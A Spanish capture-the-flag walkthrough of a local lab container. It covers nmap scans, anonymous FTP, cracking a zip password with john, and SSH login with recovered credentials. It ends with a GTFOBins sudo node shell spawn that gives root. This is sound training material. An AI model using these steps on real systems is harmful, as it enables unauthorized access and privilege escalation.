



Ahora vamos a hacer un escaneo sencillo con nmap y el parámetro -Pn por si el servidor no permite las conexiones ping

```
> nmap -Pn 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-27 17:25 CEST
Nmap scan report for 172.17.0.2
Host is up (0.0000070s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
```

Al saber los puertos que están abiertos, ahora podremos hacer un escaneo más profundo con -p21,22 y buscando la versión de los servicios con -sCV

Podemos ver ejecutando esto que el usuario Anonymous está habilitado por ftp y contamos con un archivo .zip.

```
> nmap -p21,22 -sCV -Pn 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-27 17:25 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000028s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to ::ffff:172.17.0.1
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 2
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_rw-r--r--  1 0      0          242 Jul 05  2024 secretitopicaron.zip
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 cd:1f:3b:2d:c4:0b:99:03:e6:a3:5c:26:f5:4b:47:ae (ECDSA)
|_  256 a0:d4:92:f6:9b:db:12:2b:77:b6:b1:58:e0:70:56:f0 (ED25519)
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Nos registramos y como habíamos visto contamos con un fichero .zip, lo pasaremos a nuestro host para ver que podemos hacer con él.

```
> ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 3.0.3)
Name (172.17.0.2:caan31): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||46192|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 242 Jul 05 2024 secretitopicaron.zip
226 Directory send OK.
ftp> get secretitopicaron.zip
local: secretitopicaron.zip remote: secretitopicaron.zip
229 Entering Extended Passive Mode (|||27836|)
150 Opening BINARY mode data connection for secretitopicaron.zip (242 bytes).
100% |*****|
226 Transfer complete.
242 bytes received in 00:00 (457.11 KiB/s)
ftp> █
```

Lo intentamos extraer con unzip y vemos que nos pide una contraseña.

```
> ls
└─ auto_deploy.sh  └─ nodeclimb.tar  └─ secretitopicaron.zip
> unzip secretitopicaron.zip
Archive:  secretitopicaron.zip
[secretitopicaron.zip] password.txt password: █
```

Con el comando zip2john que se utiliza para convertir archivos ZIP protegidos por contraseña en hashes que pueden ser procesados por herramientas de cracking de contraseñas lo guardaremos como hash.

```
> zip2john secretitopicaron.zip > hash
ver 1.0 efh 5455 efh 7875 secretitopicaron.zip/password.txt PKZIP Encr: 2b chk, TS_chk, cmplen=52, decmplen=40, crc
=59D5D024 ts=4C03 cs=4c03 type=0
```

Ahora que tenemos el hash vamos a utilizar la herramienta john y el rockyou para descifrar la contraseña.

```
> john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password1 (secretitopicaron.zip/password.txt)
1g 0:00:00:00 DONE (2025-05-27 17:32) 50.00g/s 307200p/s 307200c/s 307200C/s 123456..iheartyou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Al ya contar con la contraseña podremos ingresar y ver que contamos con un fichero .txt, miraremos que tiene con cat y vemos que es el usuario y la contraseña.

```
> unzip secretitopicacon.zip
Archive: secretitopicacon.zip
[secretitopicacon.zip] password.txt password:
extracting: password.txt
> cat password.txt
```

	File: password.txt
1	mario:laKontraseñAmasmalotaHdelbarrioH

Nos conectaremos por ssh con la contraseña encontrada.

```
> ssh mario@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:sem9V0DefZWboV9cuvKqHP/VaPELAd52iqLT+41h2zQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
mario@172.17.0.2's password:
Linux 8d156118aca0 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul 5 09:35:04 2024 from 172.17.0.1
mario@8d156118aca0:~$
```

Para escalar privilegios vamos a ejecutar sudo -l y podemos ver que contamos con permiso para ejecutar script.js

```
mario@8d156118aca0:~$ sudo -l
Matching Defaults entries for mario on 8d156118aca0:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User mario may run the following commands on 8d156118aca0:
  (ALL) NOPASSWD: /usr/bin/node /home/mario/script.js
```

Desde Gtfobins vamos a mirarlo a ver que podemos hacer con este binario.

**Sudo**

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]}).'
```

Vamos a editar ese fichero con el que contamos permisos.

```
mario@8d156118aca0:~$ nano /home/mario//script.js
```

```
GNU nano 7.2 /home/mario//script.js *
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})
```

Ahora lo ejecutamos como sudo y podemos ver que ahora somos root.

```
mario@8d156118aca0:~$ sudo /usr/bin/node /home/mario/script.js
# whoami
root
#
```